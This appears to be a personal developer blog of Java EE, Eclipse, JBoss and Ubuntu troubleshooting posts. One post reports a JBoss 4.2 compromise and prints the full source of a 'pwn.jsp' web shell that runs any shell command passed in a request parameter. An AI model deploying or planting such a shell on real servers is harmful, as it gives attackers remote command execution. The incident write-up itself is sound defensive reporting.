The best place to ask programming/development questions, imo. UPDATE: stackoverflow is the *worst* place to *ask* questions (if your first question/comment doesn't get any up-rating/response, then u can't ask anymore questions--ridiculously unrealistic), but a great reference for finding answers.

My Music (Nickleus)


[SOLVED] eclipse jboss debug no step icon, resume not working

i started jboss in debug mode in eclipse so i could debug some changes i'd made, but when the debugger stopped at the first breakpoint, hitting F8 wouldn't resume and there were no step/start/stop/resume icons in the debug panel:

to get it to start working again, i right-clicked on the Debug view button and chose Reset:

then stepping worked after i restarted jboss in debug mode.

to get the step icons back (Debug Toolbar), i had to click on the down arrow, to the right in the Debug panel, and choose Show Debug Toolbar:

and then everything was back to normal :)


[SOLVED] starting sahi dashboard gives " Address already in use"

i tried starting the sahi dashboard to run a script:
cd ~/workspaceEclipse/tcTrunk/testing/sahi/userdata/bin
./ ~/workspaceEclipse/tcTrunk/testing

but got the following error message: Address already in use
    at Method)
    at Source)
    at Source)
    at net.sf.sahi.Proxy.startProxy(
    at net.sf.sahi.Proxy.access$000(
    at net.sf.sahi.Proxy$
    at Source)


i stopped my local jboss 7 server that was running in debug mode, and then i was able to open the sahi dashboard.


normally when you start sahi it tells you that it uses port 9999.

looking at the jboss console startup output, i could see that the reason sahi wasn't starting up was because port 9999 was already in use:

[] (MSC service thread 1-7) JBAS017100: Listening on
[com.myapp.utils.ContextFactorySingleton] (ServerService Thread Pool -- 70) ContextFactorySingleton initialized with the following values:
localserver = true
initialContextFactory = org.jnp.interfaces.NamingContextFactory
providerUrl = jnp://localhost:9999

UPDATE 20140310

so, in order to test on your local jboss 7 version in debug mode, using sahi, you need to change the conflicting port, 9999, here:

jboss-eap-6.1/standalone/configuration/takecargoconfiguration.xml (or standalone.xml, if you're using the default configuration file):

<socket-binding-group name="standard-sockets" default-interface="public" port-offset="${jboss.socket.binding.port-offset:0}">
    <socket-binding name="management-native" interface="management" port="${}"/>

Here, i've changed 9999 to 8888.


[SOLVED] primefaces: javax.faces.FacesException: Cannot find component with expression "X" referenced from "Y". how to show/open p:dialog outside of naming container/in external form

i had the following code below, which has a link inside a form, and when a user clicks on the link, a p:dialog (outside of the form that contains the link and inside a different form) should open:
<ui:composition template="/templates/tctemplate.xhtml">
    <ui:define name="body">
        <h:form id="deviationForm">
                    <p:commandLink update=":search:searchPanelHolder" id="searchFilter" onclick="PF('CDD_filterPanelWV').show();"
                        value="search/filter" />
                src="/webcomponents/costDevTable.xhtml" />

    <p:dialog id="CDD_filterPanel" widgetVar="CDD_filterPanelWV">
        <h:form id="search">
            <h:panelGrid columns="2" id="searchPanelHolder">
                <h:outputLabel for="fromDate" value="from date" />


but when i clicked the p:commandLink link and tried to open/show the p:dialog, i would get the following error:

javax.faces.FacesException: Cannot find component with expression ":search:searchPanelHolder" referenced from "deviationForm:searchFilter"

eventually, i realized that the error was simple: the p:dialog was outside the ui:define tag.

so here's how the code should look:

<ui:composition template="/templates/tctemplate.xhtml">
    <ui:define name="body">
        <h:form id="deviationForm">
                    <p:commandLink update=":search:searchPanelHolder" id="searchFilter" onclick="PF('CDD_filterPanelWV').show();"
                        value="search/filter" />
                src="/webcomponents/costDevTable.xhtml" />

        <p:dialog id="CDD_filterPanel" widgetVar="CDD_filterPanelWV">
            <h:form id="search">
                <h:panelGrid columns="2" id="searchPanelHolder">
                    <h:outputLabel for="fromDate" value="from date" />

thanks to this thread for leading me in the right direction:
Naming Container in JSF2/PrimeFaces


regex - how to remove all characters from beginning of line, up to, and including the first space/whitespace character

today i had some console output from an error i got while debugging some code ("..." means that i've shortened the actual text bc it was so long):
12:12:54,828 INFO  [com.myapp.tiv.persistentservices.transportagreement.daoimpl....
12:13:02,216 INFO  [stdout] (http-/ setErrorMessage: Feil oppstod...
12:13:02,217 ERROR [stderr] (http-/ org.hibernate.LazyInitializat...
12:13:02,218 ERROR [stderr] (http-/     at org.hibernate.proxy.Abstr...

so the red text is what i wanted to remove so i could use the rest of the output in an explanation in our bugtracker. to do this, i created the following regex search/replace code that i ran in "geany" (sudo apt-get install geany):
^[^ ]+ ?(.*$)

so i ended up with the following result:
INFO  [com.myapp.tiv.persistentservices.transportagreement.daoimpl....
INFO  [stdout] (http-/ setErrorMessage: Feil oppstod...
ERROR [stderr] (http-/ org.hibernate.LazyInitializat...
ERROR [stderr] (http-/     at org.hibernate.proxy.Abstr...

at first i thought it would be good enough with just this:
^[^ ]+ ?

but in geany (or is the regex just wrong?), the matching didn't stop at the end of the line so the output was like this:
 [stdout] (http-/ setErrorMessage: Feil oppstod...


^[^ ]+ ?(.*$)

first color (pink): start matching attempt at the beginning of the line
second color (purple): and match one or more characters that aren't a space (i.e. match until you meet a space)
third color (blue): and one additional single space
fourth color (aqua blue): then put everything else after that last additional space, to the end of the line, into a "capturing group" so we can reinsert it back into the line using the backreference, \1


[SOLVED] eclipse jsf attribute autocomplete not working for primefaces tag p:toolbarGroup: "no default proposals"

I debugging some weird eclipse behavior today: the "jsf attribute autocomplete" functionality (ctrl+space inside a primefaces tag) didn't seem to work today in a particular file i was coding.

i had the following simple code:
<p:toolBarGroup ...

but when i'd invoke autocomplete for available attributes for that tag, eclipse was just returning "no default proposals".

i finally figured out 2 things that were wrong in the file:

* the <html ...> tag was missing the primefaces library namespace declaration (and was the old code from our app's previous jsf framework, richfaces), so i had to add it:

<html xmlns=""

* also, we're converting our app from richfaces to primefaces, so the old code was:
<rich:toolBarGroup ...

but the primefaces tag documentation/api for p:toolbarGroup uses a lowercase "b", instead of uppercase "B" in "toolbar", i.e.:
<p:toolbarGroup ...

so, the case of the tag name was the problem bc tag names are case-sensitive.

Java class to test unicode and escape sequences

While reading the java language specification (java se specs, main page) (JLS) for java 7 (direct link to pdf), I came across a section on escape sequences and unicode characters (Lexical Structure, p. 15), and how they're processed by the jvm, so I made a java "main" class to test outputting unicode and escape sequences to standard out (console).

Get the code here:

I learned and noticed a couple of things while working with escape sequences:

* some unicode values found in comments cause eclipse (java?) to display an error in the java file, e.g.:

// NOTE: ('\u000C') in the comment doesn't give compile errors like examples above, e.g., '\u000D' (but without a space between "\" and "u"--otherwise eclipse gives an error)

the green value, \u000C doesn't give an error, but when eclipse reads the red value, \u000D, eclipse marks the line with a red X, with the following error msg:

Invalid character constant

so to fix this, i had to change the red value to:
\ u000D

(put a space between the backslash delimeter, \, and the unicode letter, u)

see also java.util.regex.Pattern API, for examples of escape sequences used in regular expressions, e.g.: to match characters by octal value, hexadecimal value, matching line terminators (CR, LF, CRLF), etc


I'm credited in a newly published IT book by Packt Publishing, "Instant JRebel"

I was asked by Packt Publishing a couple of months ago to be a reviewer for their (now) newly published IT book "Instant JRebel".

I got my pdf copy of the book today, so here are the screenshots of where I'm credited:

JRebel is a plugin that most Java developers can't do without, used to hotswap code changes into a running Java application.


test class demonstrating how java 7's JVM processes class initialization and instantiation

Just wrote a java class to demonstrate JVM 7's class initialization processing order

click the link above to go to the source code.

i created a java class with a "main" method, some static variables and some normal (non-static) instance variables, then ran this file with debug breakpoints on all lines of code to find the processing order and here's what i found:

* access modifiers for variables and methods (private, public, protected, etc) don't seem to affect processing order, ALTHOUGH the "main" method must have the "public" modifier

* standard getter and setter methods for variables don't get processed, i.e. debugger never stops on their breakpoints

* "static final" variables don't get processed by the JVM during initialization or instantiation of the class, i.e. debugger never stops on their breakpoints

processing order:
1. static variables and static initialization blocks, in textual order of appearance
2. "main" method:
    2.1 begin executing any logic encountered
        2.1.1 if a call to instantiate the containing class is made (i.e. "new JVMClassInitializationProcessingOrderTest()"), temporarily pause execution of "main" method logic
   initialize (non-static) instance variables and (non-static) initialization blocks, in textual order of appearance
   process the class' constructor
   resume execution of the remaining logic in the "main" method


what is the java reserved word "class" called/known as?

i've been recently reviewing some basic java principles lately and today i got to thinking about the word "class" and wondering exactly what that word is actually known as, e.g.:

public class MyClass {

i found in the java tutorial an article called Java Language Keywords:
Here is a list of keywords in the Java programming language. You cannot use any of the following as identifiers in your programs. The keywords const and goto are reserved, even though they are not currently used. true, false, and null might seem like keywords, but they are actually literals; you cannot use them as identifiers in your programs.

Answer: keyword (identifier)

[SOLVED] "Eclipse: The resource is not on the build path of a java project" - how to use a class in another package

i'm using some time to go back and review some basic concepts in java, so today i read about Controlling Access to Members of a Class.

i set up the following java code package structure in eclipse:

Eclipse's "Java EE" perspective:

Eclipse's "Java" perspective:

package test.accesscontrol;

class PackagePrivate {
    PackagePrivate() {
        System.out.println("PackagePrivate() constructor");

package test.accesscontrol;

public class PackagePublic {
    public PackagePublic() {
        System.out.println("PackagePublic() constructor");

package test2;

import test.accesscontrol.PackagePublic;

public class AccessControlTest {
    public AccessControlTest() {
        PackagePrivate pPriv = new PackagePrivate();
        PackagePublic pPub = new PackagePublic();
        System.out.println("AccessControlTest() constructor");


NOTE: the red line in the class AccessControlTest:
PackagePrivate pPriv = new PackagePrivate();

will not work (and is not expected to work) because class PackagePrivate is declared with a package-private access modifier, i.e. no "public" in front of the "class" keyword identifier, so the class AccessControlTest shouldn't have access to the class PackagePrivate because of java's access control rules.

however, when i first tried importing/referencing the class PackagePublic in the class AccessControlTest, i got the following error in eclipse:
The resource is not on the build path of a java project

theoretically, it should work fine because the class PackagePublic is declared as a public class, "in which case that class is visible to all classes everywhere" (provided it's visible in the classpath).

i found out that the reason eclipse wasn't finding the class PackagePublic was because the src folder wasn't set as a source folder.

so to fix this:
* change to eclipse's "Java" perspective
* right click on the src folder > Build Path > Use as source folder


[SOLVED] primefaces p:dialog not rendering ui:include page component content

i have a p:dialog that looks like this:

<p:dialog ...>  
        <ui:include src="/webcomponents/presentation/user/testUserMenu.xhtml" />

(NOTE: "..." just means "etc/some code")

testUserMenu.xhtml looks like this:

<p:panelGrid id="testUserMenu">
    <p:commandButton value="#{msg['label.close']}" ... />


but the "close" button, nor anything else in the p:dialog, was getting rendered in the browser.
finally, i figured out (thanks to my colleague dan) that p:panelGrid simply needed a defined "columns" attribute, like this:

<p:panelGrid id="testUserMenu" columns="1">


[WORKAROUND] eclipse kepler - primefaces 4 xhtml/jsf autocomplete no description for attributes

i have my primefaces jar included in my project build path, and when i do ctrl+space in an xhtml/jsf file, inside a primefaces tag, i get the list of available attributes, but there's no description for them:

i found a workaround by accident: when the autocomplete window is open, as shown in the screenshot above, do ctrl+space again, several times, until you rotate back to the attributes list, and THEN the description will show:

[SOLVED] where is the jboss 7 (EAP 6) management console?

it listens on port 9990, e.g.:

and the login credentials (username, password) are here:

and the configuration line looks like this:

the hash value to the right of the equals sign is the encrypted password


ubuntu - low disk space the volume boot has only X MB disk space remaining

i started getting warning popups telling me i only had 10 MB left in my /boot partition:
low disk space the volume boot has only 10 MB disk space remaining

so i first checked to see what was in my /boot folder:
ls -la /boot

which gave this output:

-rw-r--r--  1 root root   918917 mai    1  2013 abi-3.8.0-19-generic
-rw-r--r--  1 root root   918917 mai   15 00:42 abi-3.8.0-21-generic
-rw-r--r--  1 root root   919039 mai   16 17:42 abi-3.8.0-22-generic
-rw-r--r--  1 root root   919604 aug.  13 22:10 abi-3.8.0-29-generic
-rw-r--r--  1 root root   919661 aug.  22 23:21 abi-3.8.0-30-generic
-rw-r--r--  1 root root   919745 sep.  10 22:29 abi-3.8.0-31-generic
-rw-r--r--  1 root root   919745 okt.   2 01:00 abi-3.8.0-32-generic
-rw-r--r--  1 root root   919810 okt.  23 11:42 abi-3.8.0-33-generic
-rw-r--r--  1 root root   154942 mai    1  2013 config-3.8.0-19-generic
-rw-r--r--  1 root root   154942 mai   15 00:42 config-3.8.0-21-generic
-rw-r--r--  1 root root   154943 mai   16 17:42 config-3.8.0-22-generic
-rw-r--r--  1 root root   154960 aug.  13 22:10 config-3.8.0-29-generic
-rw-r--r--  1 root root   154960 aug.  22 23:21 config-3.8.0-30-generic
-rw-r--r--  1 root root   154960 sep.  10 22:29 config-3.8.0-31-generic
-rw-r--r--  1 root root   154961 okt.   2 01:00 config-3.8.0-32-generic
-rw-r--r--  1 root root   154961 okt.  23 11:42 config-3.8.0-33-generic
drwxr-xr-x  5 root root     1024 nov.   9 10:24 grub
-rw-r--r--  1 root root 16797726 mai   22 14:06 initrd.img-3.8.0-19-generic
-rw-r--r--  1 root root 16797707 mai   22 14:57 initrd.img-3.8.0-21-generic
-rw-r--r--  1 root root 16798859 mai   24 10:12 initrd.img-3.8.0-22-generic
-rw-r--r--  1 root root 16863423 aug.  22 10:09 initrd.img-3.8.0-29-generic
-rw-r--r--  1 root root 16863744 sep.   7 16:52 initrd.img-3.8.0-30-generic
-rw-r--r--  1 root root 16865732 okt.  10 08:46 initrd.img-3.8.0-31-generic
-rw-r--r--  1 root root 16868285 okt.  31 11:58 initrd.img-3.8.0-32-generic
-rw-r--r--  1 root root 16868895 nov.   9 10:24 initrd.img-3.8.0-33-generic
drwxr-xr-x  2 root root    12288 mai   22 13:48 lost+found
-rw-r--r--  1 root root   176764 des.   5  2012 memtest86+.bin
-rw-r--r--  1 root root   178944 des.   5  2012 memtest86+_multiboot.bin
-rw-------  1 root root  3060094 mai    1  2013
-rw-------  1 root root  3060094 mai   15 00:42
-rw-------  1 root root  3060454 mai   16 17:42
-rw-------  1 root root  3062491 aug.  13 22:10
-rw-------  1 root root  3062704 aug.  22 23:21
-rw-------  1 root root  3062541 sep.  10 22:29
-rw-------  1 root root  3062477 okt.   2 01:00
-rw-------  1 root root  3062707 okt.  23 11:42
-rw-------  1 root root  5356528 mai    1  2013 vmlinuz-3.8.0-19-generic
-rw-------  1 root root  5356592 mai   15 00:42 vmlinuz-3.8.0-21-generic
-rw-------  1 root root  5356688 mai   16 17:42 vmlinuz-3.8.0-22-generic
-rw-------  1 root root  5360272 aug.  13 22:10 vmlinuz-3.8.0-29-generic
-rw-------  1 root root  5361936 aug.  22 23:21 vmlinuz-3.8.0-30-generic
-rw-------  1 root root  5362320 sep.  10 22:29 vmlinuz-3.8.0-31-generic
-rw-------  1 root root  5363184 okt.   2 01:00 vmlinuz-3.8.0-32-generic
-rw-------  1 root root  5364816 okt.  23 11:42 vmlinuz-3.8.0-33-generic

so i could see that the only kernel i wanted to retain was 3.8.0-33-generic, so i removed all the old kernels like this:
sudo apt-get purge linux-image-3.8.0-{19,21,22,29,30,31,32}-generic

which gave this output:
The following packages will be REMOVED:
  linux-image-3.8.0-19-generic* linux-image-3.8.0-21-generic* linux-image-3.8.0-22-generic* linux-image-3.8.0-29-generic* linux-image-3.8.0-30-generic* linux-image-3.8.0-31-generic*
  linux-image-3.8.0-32-generic* linux-image-extra-3.8.0-19-generic* linux-image-extra-3.8.0-21-generic* linux-image-extra-3.8.0-22-generic* linux-image-extra-3.8.0-29-generic*
  linux-image-extra-3.8.0-30-generic* linux-image-extra-3.8.0-31-generic* linux-image-extra-3.8.0-32-generic*


useful, advanced bash functionality

here are some examples of some useful bash functionality that i haven't used before:

// search history for most recent execution of ps command

(keyboard combination:) ctrl+r
(type:) ps

now you have two options:
* to execute the command, just hit enter
* to edit the command, just hit the right arrow key

// shorter way to search for running java processes

pgrep -lf java

(which is identical to: ps aux|grep java )

// kill the gedit process

pkill gedit

// get the last argument from the previous command to the current command

ls|grep somefile.txt
nano -w !!:$

which executes:
nano -w somefile.txt

// get the first argument from the previous command to the current command

cp file1.txt file2.txt
nano -w !^

which executes:
nano -w file1.txt


[SOLVED] JSF SessionScoped: com.sun.faces.mgbean.ManagedBeanCreationException: Cant instantiate class

when trying to view a jsf page, i got the following error in the browser:
http 500 error:
com.sun.faces.mgbean.ManagedBeanCreationException: Cant instantiate class: com.test.userUsersDataBean

and this was in the console:
11:23:07,407 ERROR [org.apache.catalina.core.ContainerBase.[jboss.web].[default-host].[/].[facesServlet]] (http-localhost/ JBWEB000236: Servlet.service() for servlet facesServlet threw exception: java.lang.NullPointerException
    at com.test.userUsersDataBean.setUserAndMemberOnBackingBean( [:]
    at com.test.userUsersDataBean.<init>( [:]

here's the code for, line 97:
user = userMenuBean.getUser();

userMenuBean was apparently null. eventually i found out that the problem was this, in

when i changed it to this, it worked:


i just got a similar Cant instantiate class error when i migrated some validator classes from faces-config.xml to using annotations. the solution was just to rebuild/recompile the project, then "Clean" the server (servers > right click on my jboss server instance > clean), then restart the server.


[SOLVED] java ee xhtml, how to hide jsf tags in source code

today's task at work was to find out how to hide xhtml tag code in jsf pages, i.e. when a user attempts "view > source code", we don't want them to see the non-rendered jsf tags. i searched a lot, using the following search phrases:
jsf hide source code
primefaces hide source code
jsf don't show source code
jee hide jsf source code
jee web.xml hide jsf source
hide xhtml source
jsf disable viewing xhtml source

but surprisingly found no concrete answer as to how to solve this, but after much trial and error, i've finally figured it out.

put this code in your web.xml:




eclipse svn subversion - "compare with > revision" disabled/greyed out

when i tried comparing an entire eclipse project with a revision, the "revision" option was disabled.

i was still able to compare individual files with a previous version though, so all was not lost :)


how to test html/css/javascript/dom code live in firefox for debugging purposes

open the webpage you want to debug

open the firefox web developer "web console":
tools > web developer > web console
(or just do ctrl+shift+k)

now just paste the code you want to run, to debug your webpage, and it will run when you hit "enter". in this example, that code in the textfield at the bottom of the debugger window will close the context menu you see in the background.


how to run jboss server as jboss user

it's safer to run jboss as the jboss user, so a hacker can't do anything outside of the "jboss home" (where you installed jboss, e.g. /usr/jboss )

here's how i set it up (will gladly take constructive input):

i created a new service template file based on JBoss' file:

and called it and put it here:

here are the contents:

# $Id: 60992 2007-02-28 11:33:27Z $
# JBoss Control Script
# To use this script run it as root - it will switch to the specified user
# Here is a little (and extremely primitive) startup/shutdown script
# for RedHat systems. It assumes that JBoss lives in /usr/local/jboss,
# it's run by user 'jboss' and JDK binaries are in /usr/local/jdk/bin.
# All this can be changed in the script itself.
# Either modify this script for your requirements or just ensure that
# the following variables are set correctly before calling the script.
#    HOW TO CONFIGURE THIS AS A "SYSTEM SERVICE" (although i've configured it to stay open and dump output to the console, and can be stopped by just doing ctrl+c) AND RUN AS jboss USER:
#    * create jboss user (the password you give the jboss user is the password that will be asked for when you start jboss as the jboss user--see commands farther down, i.e. "HOW TO START/RUN.."):
#        sudo useradd -d /usr/jboss -s /bin/bash jboss
#    * make jboss user own the /usr/jboss folder:
#        sudo chown -R jboss:jboss /usr/jboss
#    * edit this file (as jboss user) so paths are correct, for every block of code titled "EDIT/CONFIGURE"
#        sudoedit -u jboss /usr/jboss/bin/
#    * copy this file to /etc/init.d:
#        sudo cp /usr/jboss/bin/ /etc/init.d/jboss
#    * to run myapp as jboss:
#        service jboss start myapp
#    * to run myapptest as jboss:
#        service jboss start myapptest
#    * to run myappprod as jboss:
#        service jboss start myappprod
#        cd /usr/jboss
#        sudo svn up .
#            Conflict discovered in ''.
#            Select: (p) postpone, (df) diff-full, (e) edit,
#            (h) help for more options:
#            tf
#        FINALLY, REASSIGN USER jboss TO OWN /usr/jboss:
#            sudo chown -R jboss:jboss /usr/jboss

#define where jboss is - this is the directory containing directories log, bin, conf etc
####### EDIT/CONFIGURE #######

#define the user under which jboss will run, or use 'RUNASIS' to run as the current user
##### EDIT/CONFIGURE #####

#make sure java is in your path
##### EDIT/CONFIGURE #####

#configuration to use, usually one of 'minimal', 'default', 'all'

#if JBOSS_HOST specified, use -b to bind jboss services to that address
##### EDIT/CONFIGURE #####


#define the classpath for the shutdown class

#define the script to use to start jboss

if [ "$JBOSS_USER" = "RUNASIS" ]; then
  SUBIT="su - $JBOSS_USER -c "

if [ -n "$JBOSS_CONSOLE" -a ! -d "$JBOSS_CONSOLE" ]; then
  # ensure the file exists
  if [ ! -z "$SUBIT" ]; then

if [ -n "$JBOSS_CONSOLE" -a ! -f "$JBOSS_CONSOLE" ]; then
  echo "WARNING: location for saving console log invalid: $JBOSS_CONSOLE"
  echo "WARNING: ignoring it and using /dev/null"

#define what will be done with the console log

JBOSS_CMD_STOP=${JBOSS_CMD_STOP:-"java -classpath $JBOSSCP org.jboss.Shutdown --shutdown"}

if [ -z "`echo $PATH | grep $JAVAPTH`" ]; then

if [ ! -d "$JBOSS_HOME" ]; then
  echo JBOSS_HOME does not exist as a valid directory : $JBOSS_HOME
  exit 1

case "$1" in
    cd $JBOSS_HOME/bin
    if [ -z "$SUBIT" ]; then
#        eval $JBOSS_CMD_START >${JBOSS_CONSOLE} 2>&1 &
        eval $JBOSS_CMD_START 2>&1
        $SUBIT "$JBOSS_CMD_START 2>&1"
    if [ -z "$SUBIT" ]; then
    $0 stop
    $0 start
    echo "usage: $0 (start|stop|restart|help)"


the section in the comments at the top of the file, "HOW TO CONFIGURE THIS...", tells you exactly what you need to do to make it work

the orange code are my implementation comments/examples

the red code is code i've commented out based on JBoss' bin/

the green code is code i've added OR modified to make this work

NOTE: this was implemented for jboss 4.2 on an ubuntu 8.10 machine


share files between two ubuntu machines: forget samba! use ssh, in nautilus

man, samba is a nightmare!

we have an old ubuntu 8.10 server where we run jboss as its own user, jboss.

to allow us to edit files on that server through the file browser nautilus, i tried configuring samba for hours, with no luck.

then i read this:
share folders between two Ubuntu 12.04 machines

the super simple and safer solution is to use SSH!

i first tried connecting in nautilus, without doing any configuration:
Files > Connect to server:

but it wouldn't connect, so i checked the ssh log:
cat /var/log/auth.log

and i saw this:
Oct 22 13:29:22 myserver sshd[17101]: Accepted password for jboss from port 40905 ssh2
Oct 22 13:29:22 myserver sshd[17104]: subsystem request for sftp
Oct 22 13:29:22 myserver sshd[17104]: error: subsystem: cannot stat /usr/libexec/openssh/sftp-server: No such file or directory
Oct 22 13:29:22 myserver sshd[17104]: subsystem request for sftp failed, subsystem not found

so, i tried finding sftp-server:
locate sftp-server


so, here's all i had to do to get it to work:
sudoedit /etc/ssh/sshd_config

the last line looked like this:
Subsystem      sftp    /usr/libexec/openssh/sftp-server

change that to this:
Subsystem      sftp    /usr/lib/openssh/sftp-server

then restarted ssh:
sudo /etc/init.d/ssh restart

! :)


jboss 4.2 hacked by pwn.jsp

we found the following hack on our old jboss server this morning:

the war has the following package structure:
├── pwn.jsp
    ├── lib
    └── web.xml


<%@ page import="java.util.*,*"%>
String cmd;
String[] cmdarr;
String OS = System.getProperty("");

    if (request.getParameter("cmd") != null) {
        cmd = new String (request.getParameter("cmd"));
      if (OS.startsWith("Windows")) {
       cmdarr = new String [] {"cmd", "/C", cmd};
      else {
       cmdarr = new String [] {"/bin/sh", "-c", cmd};
      Process p = Runtime.getRuntime().exec(cmdarr);
      OutputStream os = p.getOutputStream();
      InputStream in = p.getInputStream();
      DataInputStream dis = new DataInputStream(in);
      String disr = dis.readLine();
      while ( disr != null ) {
        disr = dis.readLine();


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app
    PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"

when this gets deployed, you can run shell commands like this:


this creates a file called test in the home directory

the hacker can't however run any sudo commands, and can only run commands as the user that jboss is running as.

see also:


run jboss as jboss user


how to specify richfaces/html tags in a css stylesheet for id values containing a colon, e.g. id="AAA:BBB:tu"

when richfaces renders IDs in html, often they contain colons like this:

<table id="AAA:BBB:tu"...

when i try using that id in a css stylesheet like this:

#AAA:BBB:tu td {

it doesn't work. however THIS works, both in firefox and internet explorer 10:

table[id='AAA:BBB:tu'] td {

thanks so much to handling css id and classes with spaces


sahi - how to assert whether an html select option is selected or not


the above code is just a partial. here are some examples of implementations:

assuming that it IS selected, i.e. expecting a "true" value to be returned:

and if/else test:
if(_option("FullReceived").selected) {
} else {

[SOLVED] ubuntu 13.04 shift not working to get into recovery mode, freezes on boot at "loading initial ramdisk"

after i changed the video driver in Software and Updates > Additional Drivers from "Using video driver for the AMD graphics accelerators from fglrx (opensource)" to "using X server - AMD/ATI display driver wrapper from xserver-xorg-video-ati (open source, tested)", when i rebooted, ubuntu would freeze on startup at "loading initial ramdisk".

i read several places that in order to get into recovery mode, you need to hold down shift after the BIOS splashscreen, but that didn't help, i never got the grub list of kernels and modes to choose from.

to fix this, i had to turn off the laptop, take out the SSD disk and connect it to another computer so i could edit the following file:

that file isn't writeable so in a terminal you need to make it writeable for root, like this (when you connect/mount the disk onto another ubuntu machine, the path looks something like the one below):
sudo chmod 644 /media/disk/grub/grub.cfg

now edit the file:
sudo gedit /media/disk/grub/grub.cfg

starting on line 81 i think there's a block of code for setting timeout; change timeout from 0 to 10, so it looks like this:

if [ "${recordfail}" = 1 ]; then
  set timeout=10
  set timeout=10

save the file, unmount the disk from the other ubuntu machine, put it back into your laptop, boot, hold in the shift key after the bios splashscreen shows, THEN you'll get into grub :)

choose the option that looks something like Alternatives (can't remember the actual name, but i think it was the second choice from the top), then choose the most recent kernel that ends in "(recovery mode)" :)


regex regexp regular expressions - how to find all xml/xsl border-width attributes not value "0.00mm"

say i have hundreds of similar xsl code blocks like the one below:

<fo:block-container border-color="#ff0000"
    border-style="solid" border-width="0.10mm" background-color="transparent"
    left="90.05mm" top="50.05mm" height="7.90mm" width="19.90mm"
    margin-left="0.00mm" margin-top="0.00mm" margin-right="0.00mm"
    margin-bottom="0.00mm" position="absolute">
    <fo:block text-align="start" space-after.optimum="0pt"
        line-height="8pt" font-family="Helvetica" color="#000000"
        font-size="6pt" font-style="normal" font-weight="normal">
        22 Stedsnr.

if you want to find all code blocks with attributes that don't contain a border-width attribute with the value "0.00mm", then use the following regular expression:


(?!0\.00) means don't match the string 0.00

but match any length of a combination of numbers and periods, [0-9\.]+, preceding the string "mm"


NetCom Huawei E5776 (E5776s-32) 4G miniruter/lommeruter/ruter til mobilt bredbånd funker helt fint på ubuntu linux 13.04

Jeg kjøpte NetCom sin Huawei E5776 (E5776s-32) 4G miniruter med 10GB mobilt bredbånd abonnement og den funker helt fint på ubuntu linux 13.04.

Jeg koblet ruteren til strømforsyningen for å lade den. Startet den og fikk beskjed om å taste inn pin koden (Enter PIN), men man gjør det i nettleseren (les videre).

Koble til ruteren sitt nettverk fra datamaskinen (nettverket til 4G-ruteren min heter f.eks. "4G-Mobile-WiFi-8E3A").

Nå får du beskjed om å taste inn WIFI nøkkel (WiFi Key). For å finne nøkkelen, "dobbelklikk" på "WPS"-knappen på ruteren (trykk knappen raskt 2 ganger). Den viser først SSID-en (nettverkets navn), og etter ca 5 sekunder viser den WiFi nøkkelen (8 alfanumeriske siffer på min).

På datamaskinen, gå til følgende adresse:

brukernavn: admin
passord: admin

Jeg husker at jeg da fikk beskjed om å verifisere PIN-koden til ruteren, og den koden finner du på baksiden av SIM-kortet "rammen" ("kredittkortet" SIM-kortet ble levert i, før du detach-a SIM-kortet fra rammen).

Da var alt klart :)


(Gode) Resultater fra hastighetstester ( ):
Heggedal, inne, 3G: oppi 2.6 Gb/s nedlasting (testet ikke opplasting)
Oslo S, i kontorbygning, 4G: oppi 20 Gb/s nedlasting, oppi 15 Gb/s opplasting

Genialt! Jeg er veldig fornøyd! :)


richfaces jsf xhtml - how to append/concat/concatenate string from backing bean value to messages message label in EL expression

here's normal code for a normal label:
<h:outputText value="#{msg['general.costdeviation.status.accepted']}" id="status" />

which will output the locale-dependent text for the label general.costdeviation.status.accepted, e.g. for english:

but what if i want to dynamically ask for labels depending on the postfix, e.g. if i have multiple labels with an identical prefix, e.g.:

here's how you'd do it, dynamically:
<h:outputText value="#{msg['general.costdeviation.status.'.concat(detail.status)]}" escape="false" id="status" />

where the backing value for #{detail.status} can be one of the following:

thanks to this post: Concatenating strings within EL expression defined in an attribute of a facelets tag


html javascript - set focus to first page input text textfield when page loads

here's how you set the focus in the first input text textfield of an html page when the page loads.

put this in your page template header (inside the <head> tag, or just inside an individual page's <head> tag):
<script type="text/javascript" src="/scripts/keyboard-controls.js"></script>

create a file here:


function setFocusOnFirstTextfield() {
    var nodeList = document.getElementsByTagName("input");
    for(item in nodeList) {
        if(nodeList[item].getAttribute("type") == "text" || nodeList[item].getAttribute("type") == "password") {

put this in your page template footer (or just at the bottom of an individual html page):

<script type="text/javascript">

(right before the closing body tag, </body>)

so, if you're using a template for your header and footer, then this code will work for all pages in your project :)

richfaces how to set focus on an h:inputText input text textfield (HtmlInputText) in a rich:modalPanel when clicking an open/show button

if you have a button that opens a modal panel and you want to set the focus to the first text input field, then use the rich:modalPanel's onshow attribute:
<rich:modalPanel onshow="document.getElementById('trq_det_form:hit_marking').focus()" ...

trq_det_form is the modaldPanel form id and hit_marking is the textfield input id.


richfaces how to close rich:modalPanel with escape key rich:hotKey, including modalpanels that open other modalpanels (multi-tier/multi-level)

the following code works both for single modal panels AND for multi-level modal panels (modal panels that open new modal panels, i.e. more than one modal panel open at the same time/on top of each other).

note: all rich:modalPanel tags must have a unique id attribute.

note: for some reason (1, 2), at least in our company's app, you have click the modal panel and then press escape in order for the "hide" functionality to work, so if anyone has a solution to this, i'd love to hear it. i tried generating a javascript click() event on the modalpanel to set focus to it, but it didn't help/work. but, despite that, it's still better and faster than having to mouse up to the "x" (close) icon or down to the cancel button at the bottom :)


var ActiveModal = new function() {
    this.visiblePanelIDs = new Array();
    this.activeModalPanel = null;
    this.removeModal = function(a) {
        if(a && (a != "wait")) {
            this.activeModalPanel = this.visiblePanelIDs[0];
    this.addModal = function(a) {
        if(a && (a != "wait")) {

            a =,'');
            this.activeModalPanel = this.visiblePanelIDs[0];


explanation of a =,''); :
gets the actual modalPanel id by stripping away the richfaces-appended text "Container" on the rendered id

the JSON code above is based on Justin Skinner's Multiple RichFaces Modal with Same Shortcut Key to Close. my improvement is that the code now works with multi-level modalpanels--it works with an array of modalpanel ids.

every time a new modalpanel is opened, its id is placed at the beginning of the array and "older" panels (that are still open) get pushed further back in the array so that when you close the modalpanel on top, the code simply removes the id at the front of the array--index 0 (zero).

open modalpanel1
visiblePanelIDs: {"modalpanel1"}
activeModalPanel: modalpanel1

open modalpanel2
visiblePanelIDs: {"modalpanel2","modalpanel1"}
activeModalPanel: modalpanel2

close modalpanel2
visiblePanelIDs: {"modalpanel1"}
activeModalPanel: modalpanel1

